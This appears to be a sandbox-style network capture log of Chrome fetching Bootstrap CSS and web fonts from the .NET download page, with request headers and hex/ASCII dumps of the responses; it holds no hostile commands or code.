2024-11-23 20:11:28 UTC	15634	IN	Data Raw: ef bb bf 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 36 2e 32 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 32 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 32 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 6c 75 65 3a 20 23 30 30 37 62 66 66 3b 2d 2d 69 6e 64 69 67 6f 3a 20 23 36 36 31 30 66 32 Data Ascii: /! Bootstrap v4.6.2 (https://getbootstrap.com/) * Copyright 2011-2022 The Bootstrap Authors * Copyright 2011-2022 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */:root{--blue: #007bff;--indigo: #6610f2
2024-11-23 20:11:28 UTC	750	IN	Data Raw: 36 2e 36 36 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 36 2e 36 36 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 78 6c 2d 33 7b 66 6c 65 78 3a 30 20 30 20 32 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 32 35 25 7d 2e 63 6f 6c 2d 78 6c 2d 34 7b 66 6c 65 78 3a 30 20 30 20 33 33 2e 33 33 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 78 6c 2d 35 7b 66 6c 65 78 3a 30 20 30 20 34 31 2e 36 36 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 34 31 2e 36 36 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 78 6c 2d 36 7b 66 6c 65 78 3a 30 20 30 20 35 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 35 30 25 7d 2e 63 6f 6c 2d 78 6c 2d 37 7b 66 6c 65 78 3a 30 20 30 20 35 38 2e 33 33 33 33 33 33 33 33 25 3b 6d 61 78 2d Data Ascii: 6.66666667%;max-width:16.66666667%}.col-xl-3{flex:0 0 25%;max-width:25%}.col-xl-4{flex:0 0 33.33333333%;max-width:33.33333333%}.col-xl-5{flex:0 0 41.66666667%;max-width:41.66666667%}.col-xl-6{flex:0 0 50%;max-width:50%}.col-xl-7{flex:0 0 58.33333333%;max-
2024-11-23 20:11:28 UTC	16384	IN	Data Raw: 64 65 72 2d 78 6c 2d 39 7b 6f 72 64 65 72 3a 39 7d 2e 6f 72 64 65 72 2d 78 6c 2d 31 30 7b 6f 72 64 65 72 3a 31 30 7d 2e 6f 72 64 65 72 2d 78 6c 2d 31 31 7b 6f 72 64 65 72 3a 31 31 7d 2e 6f 72 64 65 72 2d 78 6c 2d 31 32 7b 6f 72 64 65 72 3a 31 32 7d 2e 6f 66 66 73 65 74 2d 78 6c 2d 30 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 2e 6f 66 66 73 65 74 2d 78 6c 2d 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 2e 33 33 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 78 6c 2d 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 36 2e 36 36 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 78 6c 2d 33 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 35 25 7d 2e 6f 66 66 73 65 74 2d 78 6c 2d 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 33 2e 33 33 33 33 33 33 33 33 25 7d 2e 6f 66 Data Ascii: der-xl-9{order:9}.order-xl-10{order:10}.order-xl-11{order:11}.order-xl-12{order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.33333333%}.offset-xl-2{margin-left:16.66666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.33333333%}.of
2024-11-23 20:11:28 UTC	16384	IN	Data Raw: 61 62 65 6c 3a 3a 62 65 66 6f 72 65 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 72 67 62 28 32 32 37 2e 35 33 31 36 34 35 35 36 39 36 2c 39 36 2e 34 36 38 33 35 34 34 33 30 34 2c 31 30 39 2e 30 32 35 33 31 36 34 35 35 37 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 28 32 32 37 2e 35 33 31 36 34 35 35 36 39 36 2c 39 36 2e 34 36 38 33 35 34 34 33 30 34 2c 31 30 39 2e 30 32 35 33 31 36 34 35 35 37 29 7d 2e 77 61 73 2d 76 61 6c 69 64 61 74 65 64 20 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 2d 69 6e 70 75 74 3a 69 6e 76 61 6c 69 64 3a 66 6f 63 75 73 7e 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 3a 3a 62 65 66 6f 72 65 2c 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 2d 69 6e 70 75 74 2e 69 73 2d 69 6e 76 61 6c 69 64 3a Data Ascii: abel::before{border-color:rgb(227.5316455696,96.4683544304,109.0253164557);background-color:rgb(227.5316455696,96.4683544304,109.0253164557)}.was-validated .custom-control-input:invalid:focus~.custom-control-label::before,.custom-control-input.is-invalid:
2024-11-23 20:11:28 UTC	16384	IN	Data Raw: 6c 67 3e 2e 62 74 6e 7b 70 61 64 64 69 6e 67 3a 2e 35 72 65 6d 20 31 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 33 72 65 6d 7d 2e 62 74 6e 2d 73 6d 2c 2e 62 74 6e 2d 67 72 6f 75 70 2d 73 6d 3e 2e 62 74 6e 7b 70 61 64 64 69 6e 67 3a 2e 32 35 72 65 6d 20 2e 35 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 37 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 32 72 65 6d 7d 2e 62 74 6e 2d 62 6c 6f 63 6b 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 62 74 6e 2d 62 6c 6f 63 6b 2b 2e 62 74 6e 2d 62 6c 6f 63 6b 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2e 35 Data Ascii: lg>.btn{padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}.btn-sm,.btn-group-sm>.btn{padding:.25rem .5rem;font-size:0.875rem;line-height:1.5;border-radius:.2rem}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:.5
2024-11-23 20:11:28 UTC	4096	IN	Data Raw: 2d 66 6f 63 75 73 72 69 6e 67 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 30 29 3b 74 65 78 74 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 23 34 39 35 30 35 37 7d 2e 63 75 73 74 6f 6d 2d 73 65 6c 65 63 74 2d 73 6d 7b 68 65 69 67 68 74 3a 63 61 6c 63 28 31 2e 35 65 6d 20 2b 20 30 2e 35 72 65 6d 20 2b 20 32 70 78 29 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 2e 32 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 2e 32 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 37 35 72 65 6d 7d 2e 63 75 73 74 6f 6d 2d 73 65 6c 65 63 74 2d 6c 67 7b 68 65 69 67 68 74 3a 63 61 6c 63 28 31 2e 35 65 6d 20 2b 20 31 72 65 6d 20 2b 20 32 70 78 29 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 2e 35 72 65 6d Data Ascii: -focusring{color:rgba(0,0,0,0);text-shadow:0 0 0 #495057}.custom-select-sm{height:calc(1.5em + 0.5rem + 2px);padding-top:.25rem;padding-bottom:.25rem;padding-left:.5rem;font-size:0.875rem}.custom-select-lg{height:calc(1.5em + 1rem + 2px);padding-top:.5rem
2024-11-23 20:11:28 UTC	16384	IN	Data Raw: 6e 67 65 3a 64 69 73 61 62 6c 65 64 3a 3a 2d 6d 73 2d 74 68 75 6d 62 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 61 64 62 35 62 64 7d 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 3a 3a 62 65 66 6f 72 65 2c 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 6c 61 62 65 6c 2c 2e 63 75 73 74 6f 6d 2d 73 65 6c 65 63 74 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 2e 31 35 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 2c 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 20 2e 31 35 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 2c 62 6f 78 2d 73 68 61 64 6f 77 20 2e 31 35 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 7d 40 6d 65 64 69 61 28 70 72 65 66 65 72 73 2d 72 65 64 75 63 65 64 2d 6d 6f 74 69 6f 6e 3a 20 72 65 64 75 63 65 29 7b Data Ascii: nge:disabled::-ms-thumb{background-color:#adb5bd}.custom-control-label::before,.custom-file-label,.custom-select{transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media(prefers-reduced-motion: reduce){
2024-11-23 20:11:28 UTC	12288	IN	Data Raw: 29 7d 2e 62 61 64 67 65 2d 69 6e 66 6f 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 31 37 61 32 62 38 7d 61 2e 62 61 64 67 65 2d 69 6e 66 6f 3a 68 6f 76 65 72 2c 61 2e 62 61 64 67 65 2d 69 6e 66 6f 3a 66 6f 63 75 73 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 28 31 37 2e 33 33 33 33 33 33 33 33 33 33 2c 31 32 32 2e 30 38 36 39 35 36 35 32 31 37 2c 31 33 38 2e 36 36 36 36 36 36 36 36 36 37 29 7d 61 2e 62 61 64 67 65 2d 69 6e 66 6f 3a 66 6f 63 75 73 2c 61 2e 62 61 64 67 65 2d 69 6e 66 6f 2e 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 30 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 72 65 6d 20 72 67 62 61 28 32 33 2c 31 36 32 2c 31 38 34 2c 2e 35 29 Data Ascii: )}.badge-info{color:#fff;background-color:#17a2b8}a.badge-info:hover,a.badge-info:focus{color:#fff;background-color:rgb(17.3333333333,122.0869565217,138.6666666667)}a.badge-info:focus,a.badge-info.focus{outline:0;box-shadow:0 0 0 .2rem rgba(23,162,184,.5)
2024-11-23 20:11:28 UTC	16384	IN	Data Raw: 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 63 6c 6f 73 65 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 3a 68 6f 76 65 72 2c 2e 63 6c 6f 73 65 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 3a 66 6f 63 75 73 7b 6f 70 61 63 69 74 79 3a 2e 37 35 7d 62 75 74 74 6f 6e 2e 63 6c 6f 73 65 7b 70 61 64 64 69 6e 67 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 30 29 3b 62 6f 72 64 65 72 3a 30 7d 61 2e 63 6c 6f 73 65 2e 64 69 73 61 62 6c 65 64 7b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 2e 74 6f 61 73 74 7b 66 6c 65 78 2d 62 61 73 69 73 3a 33 35 30 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 33 35 Data Ascii: text-decoration:none}.close:not(:disabled):not(.disabled):hover,.close:not(:disabled):not(.disabled):focus{opacity:.75}button.close{padding:0;background-color:rgba(0,0,0,0);border:0}a.close.disabled{pointer-events:none}.toast{flex-basis:350px;max-width:35
2024-11-23 20:11:28 UTC	16384	IN	Data Raw: 70 6f 72 74 61 6e 74 7d 2e 72 6f 75 6e 64 65 64 2d 6c 67 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 33 72 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 72 6f 75 6e 64 65 64 2d 63 69 72 63 6c 65 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 72 6f 75 6e 64 65 64 2d 70 69 6c 6c 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 72 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 72 6f 75 6e 64 65 64 2d 30 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 6c 65 61 72 66 69 78 3a 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 63 6f 6e 74 65 6e 74 3a 22 22 7d 2e 64 2d 6e 6f 6e 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 20 21 69 Data Ascii: portant}.rounded-lg{border-radius:.3rem !important}.rounded-circle{border-radius:50% !important}.rounded-pill{border-radius:50rem !important}.rounded-0{border-radius:0 !important}.clearfix::after{display:block;clear:both;content:""}.d-none{display:none !i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49751	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:27 UTC	697	OUT	GET /static/fonts/space-grotesk-v12-latin-700.woff HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dotnet.microsoft.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:28 UTC	863	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:27 GMT Content-Type: application/font-woff Content-Length: 14468 Connection: close Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 ETag: "1db3d2b5797b784" Last-Modified: Fri, 22 Nov 2024 22:10:30 GMT Set-Cookie: TiPMix=50.381296069765035; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201127Z-178bfbc474bbbqrhhC1NYCvw7400000005600000000026cp X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:28 UTC	14468	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 38 84 00 10 00 00 00 00 70 a0 00 01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 44 45 46 00 00 01 6c 00 00 00 95 00 00 00 de 15 7b 0d 68 47 50 4f 53 00 00 02 04 00 00 09 85 00 00 20 38 2d b4 16 65 47 53 55 42 00 00 0b 8c 00 00 01 f4 00 00 03 7c af 99 b1 ab 4f 53 2f 32 00 00 0d 80 00 00 00 4e 00 00 00 60 14 48 15 bd 53 54 41 54 00 00 0d d0 00 00 00 26 00 00 00 2a 79 93 6b 49 63 6d 61 70 00 00 0d f8 00 00 01 8f 00 00 02 46 c3 7c 45 7d 67 61 73 70 00 00 0f 88 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 0f 90 00 00 22 dc 00 00 3e 5e c1 bb 16 51 68 65 61 64 00 00 32 6c 00 00 00 36 00 00 00 36 1a d3 f4 06 68 68 65 61 00 00 32 a4 00 00 00 20 00 00 00 24 08 5d 02 47 68 6d 74 78 00 00 32 c4 00 00 02 Data Ascii: wOFF8pGDEFl{hGPOS 8-eGSUB\|OS/2N`HSTAT&*ykIcmapF\|E}gaspglyf">^Qhead2l66hhea2 $]Ghmtx2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49753	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:27 UTC	698	OUT	GET /static/fonts/space-grotesk-v12-latin-700.woff2 HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dotnet.microsoft.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:28 UTC	752	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:27 GMT Content-Type: font/woff2 Content-Length: 11448 Connection: close Cache-Control: public, max-age=31536000 ETag: "1db3d2b5797a3b8" Last-Modified: Fri, 22 Nov 2024 22:10:30 GMT Set-Cookie: TiPMix=22.032259509366646; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201127Z-178bfbc474bv7whqhC1NYC1fg400000004x000000000dpwh X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:28 UTC	11448	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 2c b8 00 10 00 00 00 00 71 bc 00 00 2c 57 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 81 5e 1b c0 38 1c 86 7c 06 60 3f 53 54 41 54 2a 00 84 46 11 08 0a fe 7c e4 73 0b 84 3e 00 01 36 02 24 03 88 78 04 20 05 84 66 07 20 0c 07 1b 5b 61 05 dc 18 ae dd 0e 40 51 a8 de 77 24 a2 86 2d d2 9e 28 4a 28 67 e9 ec ff 43 02 9b 23 2c 2c eb 81 fa d8 89 44 34 48 24 c5 3a 3b 0c 6b 09 89 69 ce 65 76 91 ab dc b0 9d 36 5e d3 6a 63 b5 79 21 f5 48 2c ca 27 c3 74 b1 5e b9 bc f0 a5 dd c3 22 33 ed fa db 45 fc e1 9e d3 ec ff 0e 1f 76 da 5a 1f 21 68 fd 54 1e 92 49 f7 d8 fc 74 84 c6 3e c9 e5 79 fa fd fe 75 ed 7d de e4 87 d0 95 51 02 a1 23 40 55 db a9 63 90 55 80 1a 80 15 a0 4a d2 eb c3 f3 73 fa e7 de 17 b1 17 c3 c2 4b 48 1f Data Ascii: wOF2,q,W^8\|`?STAT*F\|s>6$x f [a@Qw$-(J(gC#,,D4H$:;kiev6^jcy!H,'t^"3EvZ!hTIt>yu}Q#@UcUJsKH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49750	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:27 UTC	697	OUT	GET /static/fonts/open-sans-v34-latin-regular.woff HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dotnet.microsoft.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:28 UTC	862	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:27 GMT Content-Type: application/font-woff Content-Length: 20712 Connection: close Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 ETag: "1db3d2b5797dfe8" Last-Modified: Fri, 22 Nov 2024 22:10:30 GMT Set-Cookie: TiPMix=47.61378150003368; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201127Z-178bfbc474bwlrhlhC1NYCy3kg00000004x000000000e3k1 X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:28 UTC	15522	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 50 e8 00 12 00 00 00 00 7a 94 00 01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 44 45 46 00 00 01 94 00 00 00 4c 00 00 00 62 06 74 05 c5 47 50 4f 53 00 00 01 e0 00 00 00 20 00 00 00 20 44 68 4c 63 47 53 55 42 00 00 02 00 00 00 01 5a 00 00 02 50 41 a1 5b d7 4f 53 2f 32 00 00 03 5c 00 00 00 53 00 00 00 60 73 57 e3 2c 53 54 41 54 00 00 03 b0 00 00 00 49 00 00 00 5e 5e fb 43 35 63 6d 61 70 00 00 03 fc 00 00 00 b2 00 00 01 0c 19 59 13 26 63 76 74 20 00 00 04 b0 00 00 00 ba 00 00 00 fc 3d 3f 2c c8 66 70 67 6d 00 00 05 6c 00 00 07 d7 00 00 0f 94 e2 19 9e 5a 67 61 73 70 00 00 0d 44 00 00 00 10 00 00 00 10 00 15 00 23 67 6c 79 66 00 00 0d 54 00 00 3b 75 00 00 58 1a 01 70 aa 4d 68 65 61 64 00 00 48 cc 00 00 00 Data Ascii: wOFFPzGDEFLbtGPOS DhLcGSUBZPA[OS/2\S`sW,STATI^^C5cmapY&cvt =?,fpgmlZgaspD#glyfT;uXpMheadH
2024-11-23 20:11:28 UTC	862	IN	Data Raw: 24 cd 76 77 de de 5c b3 1e f3 21 11 cf 1e 3f ce 22 59 68 fd fa b9 f7 fe 74 7a df 81 33 7b d0 8e cb 6d 1b 73 91 8e 90 6a 8a f4 9e f9 33 7d 85 54 99 20 24 85 b4 04 25 96 25 0a bf 16 1e 7f fc d1 8f df 8e 7c f0 f9 c2 b7 ed a5 a0 25 ad b3 95 f4 3c 29 69 92 0e 38 94 54 bc bb 82 31 7a 3a 17 bf 87 2a ad cb 6c e3 14 59 70 e9 b4 a0 c4 16 0e 6b ac a3 f4 ce c7 d7 fc 63 ee 0e e5 13 c5 9b 7d 35 e1 e1 1e 72 0b 36 d4 32 4a 7c d7 80 67 90 45 8b cd ac 8c 58 76 d1 1d 2d d6 80 81 b0 0d a5 8b 52 13 b7 94 7c 1c ee 87 79 68 b5 8c ca d8 1c cf 78 5b 8f a0 64 eb 1d 54 37 f6 e7 b8 16 e3 6f 84 4f f6 ec 81 ba 27 eb 6e ac cc 5a fc e8 54 5a 6b 54 74 0b 77 47 a1 b4 1d ff 46 9d 14 3f 80 15 bf fe 35 2c fd de 68 f9 81 47 db be 27 fc d7 1e 0f 37 b6 cf dd 95 ac b9 9d e3 5f c9 62 d8 b9 20 12 Data Ascii: $vw\!?"Yhtz3{msj3}T $%%\|%<)i8T1z:*lYpkc}5r62J\|gEXv-R\|yhx[dT7oO'nZTZkTtwGF?5,hG'7_b
2024-11-23 20:11:28 UTC	4328	IN	Data Raw: d8 cb 81 de a0 e5 58 ad 8a 09 57 dc 74 f5 48 cf 09 1b 70 0b 09 f0 91 e1 22 15 1c 3f 3a ab f0 d2 85 19 e4 c5 b1 6c e8 67 b4 6c 0f 68 d9 20 38 0d bf 41 73 98 87 c0 0d b7 04 eb 4c 7d 59 5e 13 9e 29 3a 64 4f a7 35 67 65 35 a7 d9 fe 45 5f cd 79 69 ca 94 f6 ea ca c5 06 43 fb f8 38 b9 d7 ce 1d 06 5f 02 2d f1 0a 00 1d f0 40 e4 29 03 1e 6c 08 a0 6c 23 e6 24 62 45 c5 19 04 45 c5 19 7a 81 62 ee 29 e1 fb 1d f8 46 e0 ff 00 44 50 4c 2b 41 d1 1b 1a 32 80 78 5a f0 fb 06 91 33 40 08 56 17 a1 f2 94 f0 3d 61 0a 54 e0 0f 71 ac 2e d6 ff 21 7f 01 24 1e 52 e4 4f ed ef 98 69 cc 33 00 71 90 03 fa bb d4 a3 3f c9 09 ea e8 f8 04 90 d8 ee 91 af fd 5b fc 21 cf 01 46 fa 56 45 0c 09 6f c3 6a d1 3a cf fc 78 c2 24 0f 00 14 d6 03 80 d6 89 8a 2a c8 d3 02 d0 84 a2 ca ba b1 dd 3b 98 65 d2 fd Data Ascii: XWtHp"?:lglh 8AsL}Y^):dO5ge5E_yiC8_-@)ll#$bEEzb)FDPL+A2xZ3@V=aTq.!$ROi3q?[!FVEoj:x$*;e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49754	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:27 UTC	698	OUT	GET /static/fonts/open-sans-v34-latin-regular.woff2 HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dotnet.microsoft.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
